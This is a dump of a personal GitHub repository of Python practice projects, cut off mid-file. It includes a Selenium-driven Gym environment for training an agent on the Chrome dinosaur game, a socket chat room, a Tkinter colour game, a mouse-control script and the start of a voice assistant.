stacked_frames = stack_frames(stacked_frames, next_state, False) 19 | state=next_state 20 | -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/RL_dino/requirements.py: -------------------------------------------------------------------------------- 1 | import os 2 | import subprocess 3 | import sys 4 | 5 | 6 | def install(package): 7 | os.system("pip install " + str(package)) 8 | reqs = subprocess.check_output([sys.executable, "-m", "pip", "show", str(package)]) 9 | 10 | print(str(reqs) + "\n") 11 | print("Installed " + package.upper() + "\n") 12 | 13 | 14 | install("collection") 15 | install("opencv-python") 16 | install("tensorflow") 17 | install("numpy") 18 | install("matplotlib") 19 | 20 | -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/RL_dino/test.py: -------------------------------------------------------------------------------- 1 | import gym, gym_dino 2 | 3 | 4 | f=gym.make("DinoGame-v0") 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/RL_dino/training_ckpt/checkpoint: -------------------------------------------------------------------------------- 1 | model_checkpoint_path: "cp.ckpt" 2 | all_model_checkpoint_paths: "cp.ckpt" 3 | -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/RL_dino/training_ckpt/cp.ckpt.data-00000-of-00001: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/RL_dino/training_ckpt/cp.ckpt.data-00000-of-00001 -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/RL_dino/training_ckpt/cp.ckpt.index: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/RL_dino/training_ckpt/cp.ckpt.index -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/RL_dino/vidw_model.h5: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/RL_dino/vidw_model.h5 -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/README.md: -------------------------------------------------------------------------------- 1 | This is the test gym enviroment . 2 | Descriptions will follow soon. 3 | -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | from gym.envs.registration import register 3 | 4 | 5 | register(id="DinoGame-v0",entry_point='gym_dino.envs:enviroment',kwargs={'render': True, 'accelerate': False, 'autoscale': False}) 6 | 7 | register(id="DinoGameHeadless-v0",entry_point='gym_dino.envs:enviroment',kwargs={'render': False, 'accelerate': False, 'autoscale': False}) 8 | -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/__pycache__/__init__.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/__pycache__/__init__.cpython-38.pyc -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/envs/__init__.py: -------------------------------------------------------------------------------- 1 | from gym_dino.envs.enviroment_gym import enviroment 2 | 3 | -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/envs/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/envs/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/envs/__pycache__/__init__.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/envs/__pycache__/__init__.cpython-38.pyc -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/envs/__pycache__/enviroment_gym.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/envs/__pycache__/enviroment_gym.cpython-37.pyc -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/envs/__pycache__/enviroment_gym.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/envs/__pycache__/enviroment_gym.cpython-38.pyc -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/envs/enviroment_gym.py: -------------------------------------------------------------------------------- 1 | import numpy as np 2 | from gym_dino.game import DINO 3 | import gym 4 | from gym import error, spaces, utils 5 | 6 | 7 | import base64 8 | import os 9 | from PIL import Image 10 | import io 11 | 12 | 13 | 14 | 15 | class enviroment(gym.Env): 16 | 17 | def __init__(self, render ,accelerate, autoscale): 18 | self.game=DINO(render,accelerate) 19 | self.observation_space=spaces.Box(low=0,high=255, shape=(150,600,3),dtype=np.uint8) 20 | self.action_space=spaces.Discrete(2) 21 | self.crashed =-100 22 | self.running=0.1 23 | self.current_frame=self.observation_space.low 24 | self.action_set=[0,1] 25 | 26 | def get_score(self): 27 | return self.game.score() 28 | def step(self,action): 29 | 30 | 31 | if action== 1: 32 | self.game.press_up() 33 | 34 | observation=self.screen() 35 | 36 | if self.game.crash(): 37 | reward=(self.crashed)*(11.0/self.get_score()) 38 | 39 | done=True 40 | else: 41 | reward=( self.get_score())/10 42 | done=False 43 | 44 | info={} 45 | return observation, reward, done,info 46 | def reset(self ,record=False): 47 | self.game.restart() 48 | return self.screen() 49 | 50 | def screen(self): 51 | s= self.game.get_canvas()#retruns a base64 encoded pic 52 | i=io.BytesIO(base64.b64decode(s)) 53 | l=Image.open(i) 54 | bg = Image.new("RGB", l.size, (255, 255, 255)) # fill background as white color 55 | bg.paste(l, mask=l.split()[3]) # 3 is the alpha channel 56 | k=bg 57 | a=np.array(k) 58 | self.current_frame=a 59 | return self.current_frame 60 | 61 | def close(self): 62 | self.game.close() 63 | 64 | def set_acceleration(self, enable): 65 | if enable: 66 | self.game.restore_parameter('config.ACCELERATION') 67 | else: 68 | self.game.set_parameter('config.ACCELERATION', 0) 69 | -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/game/DINO_game.py: -------------------------------------------------------------------------------- 1 | from selenium import webdriver 2 | from selenium.webdriver.chrome.options import Options 3 | from selenium.webdriver.common.keys import Keys 4 | from selenium.webdriver.common.action_chains import ActionChains 5 | from io import BytesIO 6 | import base64 7 | import numpy as np 8 | from PIL import Image 9 | import os 10 | import time 11 | from gym_dino.utils.chromedriver_installer import get_chromiumdrive 12 | class DINO: 13 | def __init__(self, render=False 14 | ,accelerate=False, autoscale=False): 15 | if not os.path.exists('chromedriver') and not os.path.exists('chromedriver.exe'): 16 | get_chromiumdrive() 17 | 18 | chrome_driver_path = "./chromedriver" 19 | url = 'https://elvisyjlin.github.io/t-rex-runner/' 20 | self.url = url 21 | chrome_options = Options() 22 | chrome_options.add_experimental_option("useAutomationExtension", False) 23 | chrome_options.add_experimental_option("excludeSwitches", ["enable-automation"]) 24 | chrome_options.add_argument("--mute-audio") 25 | chrome_options.add_argument('--no-sandbox') 26 | if not render: 27 | chrome_options.add_argument("--headless") 28 | self._driver = webdriver.Chrome(executable_path=chrome_driver_path, chrome_options=chrome_options) 29 | self._driver.set_window_position(x=-10, y=0) 30 | self._driver.set_window_size(200, 300) 31 | self._driver.get(url) 32 | self.defaults = self.get_parameters() # default parameters 33 | 34 | if not accelerate: 35 | self.set_parameter('config.ACCELERATION', 0) 36 | if not autoscale: 37 | self._driver.execute_script('Runner.instance_.setArcadeModeContainerScale = function(){};') 38 | self.press_space() 39 | def get_parameters(self): 40 | params = {} 41 | params['config.ACCELERATION'] = self._driver.execute_script('return Runner.config.ACCELERATION;') 42 | return params 43 | 44 | def set_parameter(self, key, value): 45 | self._driver.execute_script('Runner.{} = {};'.format(key, value)) 46 | 47 | def press_up(self): 48 | self._driver.find_element_by_tag_name("body").send_keys(Keys.ARROW_UP) 49 | 50 | def press_down(self): 51 | self._driver.find_element_by_tag_name("body").send_keys(Keys.ARROW_DOWN) 52 | 53 | def press_space(self): 54 | self._driver.find_element_by_tag_name("body").send_keys(Keys.SPACE) 55 | 56 | def crash(self): 57 | return self._driver.execute_script("return Runner.instance_.crashed;") 58 | 59 | def playing(self): 60 | return self._driver.execute_script("return Runner.instance_.playing;") 61 | 62 | def score(self): 63 | reward_score = self._driver.execute_script("return Runner.instance_.distanceMeter.digits;") 64 | score = ''.join(reward_score) 65 | return int(score) 66 | 67 | def pause(self): 68 | return self._driver.execute_script("return Runner.instance_.stop();") 69 | 70 | def resume(self): 71 | return self._driver.execute_script("return Runner.instance_.play();") 72 | 73 | def end(self): 74 | self._driver.close() 75 | 76 | def restart(self): 77 | self._driver.execute_script("Runner.instance_.restart();") 78 | time.sleep(0.25) 79 | 80 | def get_canvas(self): 81 | return self._driver.execute_script( 82 | 'return document.getElementsByClassName("runner-canvas")[0].toDataURL().substring(22);') 83 | -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/game/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | from gym_dino.game.DINO_game import DINO -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/game/__pycache__/DINO_game.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/game/__pycache__/DINO_game.cpython-37.pyc -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/game/__pycache__/DINO_game.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/game/__pycache__/DINO_game.cpython-38.pyc -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/game/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/game/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/game/__pycache__/__init__.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/game/__pycache__/__init__.cpython-38.pyc -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/utils/__init__.py: -------------------------------------------------------------------------------- 1 | __all__=["chromedriver_installer"] -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/utils/__pycache__/__init__.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/utils/__pycache__/__init__.cpython-38.pyc -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/utils/__pycache__/chromedriver_installer.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/utils/__pycache__/chromedriver_installer.cpython-38.pyc -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino/utils/chromedriver_installer.py: -------------------------------------------------------------------------------- 1 | import platform 2 | 3 | def download_file(url): 4 | import requests 5 | local_filename = url.split('/')[-1] 6 | # NOTE the stream=True parameter 7 | r = requests.get(url, stream=True) 8 | with open(local_filename, 'wb') as f: 9 | for chunk in r.iter_content(chunk_size=1024): 10 | if chunk: # filter out keep-alive new chunks 11 | f.write(chunk) 12 | #f.flush() commented by recommendation from J.F.Sebastian 13 | return local_filename 14 | 15 | 16 | 17 | 18 | 19 | 20 | def get_chromiumdrive(): 21 | os_version = platform.platform() 22 | if 'Windows' in os_version: 23 | keyword = 'win' 24 | elif 'Darwin' in os_version: 25 | keyword = 'mac' 26 | elif 'Linux' in os_version: 27 | keyword = 'linux' 28 | else: 29 | assert False, 'Unrecognized operating system: ' + os_version 30 | 31 | import requests 32 | import re 33 | from bs4 import BeautifulSoup as BS 34 | 35 | res = requests.get('http://chromedriver.chromium.org/downloads') 36 | text = res.text 37 | r = re.findall(r'"https://chromedriver\.storage\.googleapis\.com/index\.html\?path=([\d\.]+)/+"', text) 38 | url = 'https://chromedriver.storage.googleapis.com/?delimiter=/&prefix={}/'.format(r[0]) 39 | res = requests.get(url) 40 | text = res.text 41 | soup = BS(text, 'xml') 42 | for contents in soup.find_all('Contents'): 43 | if keyword in contents.find('Key').text: 44 | url = 'https://chromedriver.storage.googleapis.com/' + contents.find('Key').text 45 | filename = download_file(url) 46 | 47 | import zipfile 48 | 49 | with zipfile.ZipFile(filename, 'r') as zip_ref: 50 | extracted = zip_ref.namelist() 51 | zip_ref.extractall('.') 52 | 53 | import os 54 | import stat 55 | 56 | st = os.stat(extracted[0]) 57 | os.chmod(extracted[0], st.st_mode | stat.S_IEXEC) 58 | 59 | 60 | -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino_game.egg-info/PKG-INFO: -------------------------------------------------------------------------------- 1 | Metadata-Version: 1.0 2 | Name: gym-dino-game 3 | Version: 0.1 4 | Summary: UNKNOWN 5 | Home-page: UNKNOWN 6 | Author: UNKNOWN 7 | Author-email: UNKNOWN 8 | License: UNKNOWN 9 | Description: UNKNOWN 10 | Platform: UNKNOWN 11 | -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino_game.egg-info/SOURCES.txt: -------------------------------------------------------------------------------- 1 | README.md 2 | setup.py 3 | gym_dino_game.egg-info/PKG-INFO 4 | gym_dino_game.egg-info/SOURCES.txt 5 | gym_dino_game.egg-info/dependency_links.txt 6 | gym_dino_game.egg-info/requires.txt 7 | gym_dino_game.egg-info/top_level.txt -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino_game.egg-info/dependency_links.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino_game.egg-info/requires.txt: -------------------------------------------------------------------------------- 1 | beautifulsoup4>=4.4.1 2 | gym>=0.10.8 3 | lxml>=3.5.0 4 | numpy>=1.15.3 5 | opencv-python>=3.4.2.17 6 | Pillow>=3.1.2 7 | requests>=2.9.1 8 | selenium>=3.14.1 9 | -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/gym_dino_game.egg-info/top_level.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Projects/Applying Reinforcement Learning to train an agent to play the gym dino game/gym-dino-game/setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import setup 2 | 3 | setup( 4 | name='gym_dino_game', 5 | version='0.1', 6 | install_requires=['beautifulsoup4>=4.4.1', 7 | 'gym>=0.10.8', 8 | 'lxml>=3.5.0', 9 | 'numpy>=1.15.3', 10 | 'opencv-python>=3.4.2.17', 11 | 'Pillow>=3.1.2', 12 | 'requests>=2.9.1', 13 | 'selenium>=3.14.1'] 14 | 15 | 16 | ) 17 | -------------------------------------------------------------------------------- /Projects/ChatRoom/client2.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import threading 3 | import tkinter 4 | import tkinter.scrolledtext 5 | from tkinter import simpledialog 6 | 7 | HOST = '127.0.0.1' 8 | PORT = 5500 9 | 10 | class Client: 11 | 12 | def __init__(self, host, port): 13 | 14 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 15 | self.sock.connect((host, port)) 16 | 17 | msg = tkinter.Tk() 18 | msg.withdraw() 19 | 20 | self.nickname = simpledialog.askstring("Nickname", "Please choose a nickname", parent = msg) 21 | 22 | self.gui_done = False 23 | self.running = True 24 | 25 | gui_thread = threading.Thread(target=self.gui_loop) 26 | receive_thread = threading.Thread(target=self.receive) 27 | 28 | gui_thread.start() 29 | receive_thread.start() 30 | 31 | 32 | def gui_loop(self): 33 | self.win = tkinter.Tk() 34 | self.win.configure(bg = "lightgray") 35 | 36 | self.chat_label = tkinter.Label(self.win, text="Chat:", bg = "lightgray") 37 | self.chat_label.config(font=("Arial, 12")) 38 | self.chat_label.pack(padx = 20, pady=5) 39 | 40 | self.text_area = tkinter.scrolledtext.ScrolledText(self.win) 41 | self.text_area.pack(padx=20, pady=5) 42 | self.text_area.config(state='disabled') 43 | 44 | self.msg_label = tkinter.Label(self.win, text="Message:", bg="lightgray") 45 | self.msg_label.config(font=("Arial, 12")) 46 | self.msg_label.pack(padx=20, pady=5) 47 | 48 | self.input_area = tkinter.Text(self.win, height=3) 49 | self.input_area.pack(padx=20, pady=5) 50 | 51 | 52 | self.send_button = tkinter.Button(self.win, text="Send", command=self.write) 53 | self.send_button.config(font=("Arial, 12")) 54 | self.send_button.pack(padx=20, pady=5) 55 | 56 | self.gui_done = True 57 | 58 | self.win.protocol("WM_DELETE_WINDOW", self.stop) 59 | 60 | self.win.mainloop() 61 | 62 | def write(self): 63 | message = ("{}: {}".format(self.nickname, self.input_area.get('1.0', 'end'))) 64 | self.sock.send(message.encode('utf-8')) 65 | self.input_area.delete('1.0', 'end') 66 | 67 | 68 | 69 | def stop(self): 70 | self.running = False 71 | self.win.destroy() 72 | self.sock.close() 73 | exit(0) 74 | 75 | 76 | 77 | 78 | def receive(self): 79 | while self.running: 80 | try: 81 | message = self.sock.recv(1024) 82 | if message == 'NICK': 83 | self.sock.send(self.nickname.encode('utf-8')) 84 | 85 | else: 86 | if self.gui_done: 87 | self.text_area.config(state='normal') 88 | self.text_area.insert('end', message) 89 | self.text_area.yview('end') 90 | self.text_area.config(state='disabled') 91 | 92 | except ConnectionAbortedError: 93 | break 94 | except: 95 | print("Error") 96 | self.sock.close() 97 | break 98 | 99 | client = Client(HOST,PORT) 100 | -------------------------------------------------------------------------------- /Projects/ChatRoom/hehe.md: -------------------------------------------------------------------------------- 1 | hii hehehehehehehe -------------------------------------------------------------------------------- /Projects/ChatRoom/new.md: -------------------------------------------------------------------------------- 1 | i m nitish -------------------------------------------------------------------------------- /Projects/ChatRoom/server2.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import threading 3 | 4 | HOST = '127.0.0.1' 5 | PORT = 5500 6 | 7 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | server.bind((HOST, PORT)) 9 | 10 | server.listen() 11 | 12 | clients = [] 13 | nicknames = [] 14 | 15 | #broadcast 16 | def broadcast(message): 17 | for client in clients: 18 | client.send(message) 19 | 20 | #handle 21 | def handle(client): 22 | while True: 23 | try: 24 | message = client.recv(1024) 25 | print("{} says {}".format(nicknames[clients.index(client)],message)) 26 | broadcast(message) 27 | except: 28 | index = clients.index(client) 29 | clients.remove(client) 30 | client.close() 31 | nickname = nicknames[index] 32 | nicknames.remove(nickname) 33 | break 34 | 35 | 36 | 37 | 38 | 39 | #receive 40 | def receive(): 41 | while True: 42 | client, address = server.accept() 43 | print("Connected with {}".format(str(address))) 44 | 45 | client.send("NICK".encode('utf-8')) 46 | nickname = client.recv(1024) 47 | 48 | nicknames.append(nickname) 49 | clients.append(client) 50 | 51 | print("Nickname of the client is {}".format(nickname)) 52 | broadcast("{} Connected to the server\n".format(nickname).encode('utf-8')) 53 | client.send("Connected to the server".encode('utf-8')) 54 | 55 | thread = threading.Thread(target=handle, args=(client,)) #comma to make this a tuple 56 | thread.start() 57 | 58 | print("Server running....") 59 | receive() 60 | -------------------------------------------------------------------------------- /Projects/Color_Game.py: -------------------------------------------------------------------------------- 1 | from tkinter import * 2 | import random 3 | from tkinter import messagebox 4 | 5 | colors = ["Red", "Blue", "Pink", "Yellow", "Green", "Brown","Black", "Cyan", "White"] 6 | 7 | score = 0 8 | timeLeft = 30 9 | 10 | def begin(event): 11 | if timeLeft == 30: 12 | countdown() 13 | 14 | nextColor() 15 | 16 | def countdown(): 17 | global timeLeft 18 | if timeLeft == 0: 19 | messagebox.showinfo("TIME OUT", "Time is over!!\nYour Score: " + str(score)) 20 | if timeLeft > 0: 21 | timeLeft -= 1 22 | timeLabel.config(text = "Time Left: %s"%str(timeLeft)) 23 | timeLabel.after(1000, countdown) 24 | 25 | 26 | def nextColor(): 27 | global score 28 | global timeLeft 29 | 30 | if timeLeft > 0: 31 | e.focus_set() 32 | if e.get().lower().strip() == colors[1].lower(): # Red == red, RED, rEd 33 | score += 1 34 | 35 | e.delete(0, END) 36 | random.shuffle(colors) 37 | 38 | label.config(bg = 'khaki', fg = str(colors[1]), text = str(colors[0]), padx = 15) 39 | 40 | scoreLabel.config(text = "Your Score: %s"%str(score)) 41 | 42 | def name(): 43 | # e1.delete(0, END) 44 | x = e1.get() 45 | messagebox.showinfo("Welcome Message", " ☙ WELCOME TO CG Pro, " + x + " ☙") 46 | 47 | 48 | # To clear the default text, when you click on the entry field 49 | def clear_search(event): 50 | e1.delete(0, END) 51 | 52 | 53 | root = Tk() 54 | root.title("CG Pro") 55 | # Width x Height 56 | root.geometry("650x500") 57 | 58 | # root.resizable(0, 0) 59 | root.minsize(325, 400) 60 | # root.maxsize(975, 450) 61 | 62 | 63 | # to change color of entire window 64 | root.configure(bg = "peach puff") 65 | 66 | 67 | # ENTER PLAYER INFO 68 | e1 = Entry(root, bd = 3, bg = 'linen', fg = 'coral', font = ("comic sans ms", 10, "italic"), relief = SUNKEN) 69 | e1.insert(0, "Enter your Name here...") 70 | e1.pack() 71 | e1.bind("", clear_search) # Vanish default text, once game is done 72 | 73 | 74 | # Submit info button 75 | frame = Frame(root, borderwidth = 4, bg = "red") 76 | frame.pack() 77 | 78 | button = Button(frame, fg = "yellow", bg = "green", text = "Enter Player Info", command = name, font = ("Comic sans ms", 10, 'bold'), activebackground = "pink", activeforeground = "black", height = 1) 79 | button.pack() 80 | 81 | # Instructions text 82 | instructions = Label(root, text = '''*****INSTRUCTIONS***** 83 | • A Text will be displayed in a specific color. 84 | • You have to print the COLOR of the text (Not the text itself)''', fg = 'brown', bg = "yellow", font = ("monotype corsiva", 16), padx = 20, pady = 20, 85 | borderwidth = 5, relief = RAISED) 86 | 87 | instructions.pack(fill = X) 88 | 89 | # Score Counter 90 | scoreLabel = Label(root, text = "Press Enter to START", fg = 'magenta', bg = "pink", font = ("monotype corsiva", 20, 'bold'),padx = 20, borderwidth = 5, relief = RAISED) 91 | 92 | scoreLabel.pack() 93 | 94 | # Time left (TIMER) 95 | timeLabel = Label(root, text = "Time Left: %s"%str(timeLeft),fg = 'blue', bg = "cyan", font = ("monotype corsiva", 18), borderwidth = 5, relief = RAISED) 96 | 97 | timeLabel.pack(side = BOTTOM) 98 | 99 | 100 | label = Label(root, text='', bg='peach puff', font = ("monotype corsiva", 60)) 101 | 102 | label.pack() 103 | 104 | 105 | # Entry field for Answer 106 | e = Entry(root, bd = 5, bg = 'linen', fg = 'coral', font = ("comic sans ms", 20, "italic"), relief = SUNKEN) # use font size, or use width = "any size" 107 | e.insert(0, "Write here...") # DEFAULT TEXT 108 | root.bind('', begin) 109 | e.pack() 110 | e.focus_set() 111 | 112 | root.mainloop() 113 | -------------------------------------------------------------------------------- /Projects/Control Mouse/Mouse_Control.py: -------------------------------------------------------------------------------- 1 | import pyautogui 2 | distance = 360 3 | while distance > 0: 4 | pyautogui.dragRel(distance, 0, duration=0.1) # Move right 5 | distance = distance-8 6 | pyautogui.dragRel(0, distance, duration=0.1) # Move down 7 | distance = distance-8 8 | pyautogui.dragRel(-distance, 0, duration=0.1) # Move left 9 | distance = distance-8 10 | pyautogui.dragRel(0, -distance, duration=0.1) # Move right5 11 | distance = distance - 8 12 | -------------------------------------------------------------------------------- /Projects/Cricket Game/README.md: -------------------------------------------------------------------------------- 1 |

Hand Cricket🖐️🏏

2 | 3 | ## **Description** 4 | To create Hand Cricket game Between User and AI 5 | 6 | 7 | - Hand Cricket is number game between two players. 8 | - This game is purely luck based game. 9 | - This code is built by using simple basics of python like functions, `if`, `elif`, `else`, `while` loops & Conditionals. 10 | - Libraries imported: 11 | - `random` 12 | 13 | ## Workflow 14 | - Imported `random` Library 15 | - functions used in this game: 16 | - `def toss():` 17 | - This function is for toss user have to choose ODD or EVEN 18 | - `def main():` 19 | - This function is Start of the game 20 | - `def first batting():` 21 | - This function comes when toss winners opted to bat first 22 | - `def second batting():` 23 | - This function comes when toss winners opted to bowl first 24 | - `def playagain():` 25 | - This function is to ask whether user want to playagain or not 26 | 27 | ## Compilation Steps 28 | - Download the file [Hand_Cricket.py](https://github.com/DurgaSai-16/Intern-Projects/blob/main/int-py-4/hand_cricket.py) 29 | - Run the file [Hand_Cricket.py](https://github.com/DurgaSai-16/Intern-Projects/blob/main/int-py-4/hand_cricket.py) 30 | - Okay..!! Let's start our game then. Select ODD or EVEN and input any number between 1 to 10 as your wish. 31 | - If win the toss, Opt Bat or Ball as your wish. 32 | - If you opted to bat first and runs will counting continuously and you'll be out when numbers matched. AI will get's it's turn to bat and chase down the target. 33 | - If picks AI wicket by giving input that matches AI number before the target then you'll be winner else AI is winner. 34 | - You can play again just by clicking "Yes". 35 | - Any Invalid input will restart the game. So play carefully. 36 | 37 | ## Output 38 | ![Hand_Cricket](https://user-images.githubusercontent.com/85128689/127752679-8580ea75-b5c5-41e9-acb4-cf305838e322.png) 39 | 40 |

Authors 👧👧👦

41 | 42 | 43 | 44 | 45 | 46 | 47 |

Abhishek Dwibedy
48 | 49 | 50 | -------------------------------------------------------------------------------- /Projects/Desktop_Assistant.py: -------------------------------------------------------------------------------- 1 | import pyttsx3 2 | import speech_recognition as sr 3 | import datetime 4 | import wikipedia 5 | import webbrowser 6 | import os 7 | import smtplib 8 | 9 | 10 | engine = pyttsx3.init('sapi5') 11 | voices = engine.getProperty('voices') 12 | # print(voices[1].id) 13 | engine.setProperty('voice', voices[0].id) 14 | 15 | 16 | def speak(audio): 17 | engine.say(audio) 18 | engine.runAndWait() 19 | 20 | 21 | def wishMe(): 22 | hour = int(datetime.datetime.now().hour) 23 | if hour>=0 and hour<12: 24 | speak("Good Morning! ") 25 | 26 | elif hour>=12 and hour<18: 27 | speak("Good Afternoon!") 28 | 29 | else: 30 | speak("Good Evening!") 31 | 32 | speak("I am Satt. Please tell me how may I help you") 33 | 34 | def takeCommand(): 35 | #It takes microphone input from the user and returns string output 36 | r = sr.Recognizer() 37 | with sr.Microphone() as source: 38 | print("Listening...") 39 | r.pause_threshold = 1 40 | audio = r.listen(source) 41 | 42 | try: 43 | print("Recognizing...") 44 | query = r.recognize_google(audio, language='en-in') 45 | print(f"User said: {query}\n") 46 | 47 | except Exception as e: 48 | print(e) 49 | print("Say that again please...") 50 | return "None" 51 | return query 52 | 53 | def sendEmail(to, content): 54 | server = smtplib.SMTP('smtp.gmail.com', 587) 55 | server.ehlo() 56 | server.starttls() 57 | server.login('sattwikpalai21@gmail.com', 'your-password') 58 | server.sendmail('youremail@gmail.com', to, content) 59 | server.close() 60 | 61 | if __name__ == "__main__": 62 | wishMe() 63 | while True: 64 | # if 1: 65 | query = takeCommand().lower() 66 | 67 | # Logic for executing 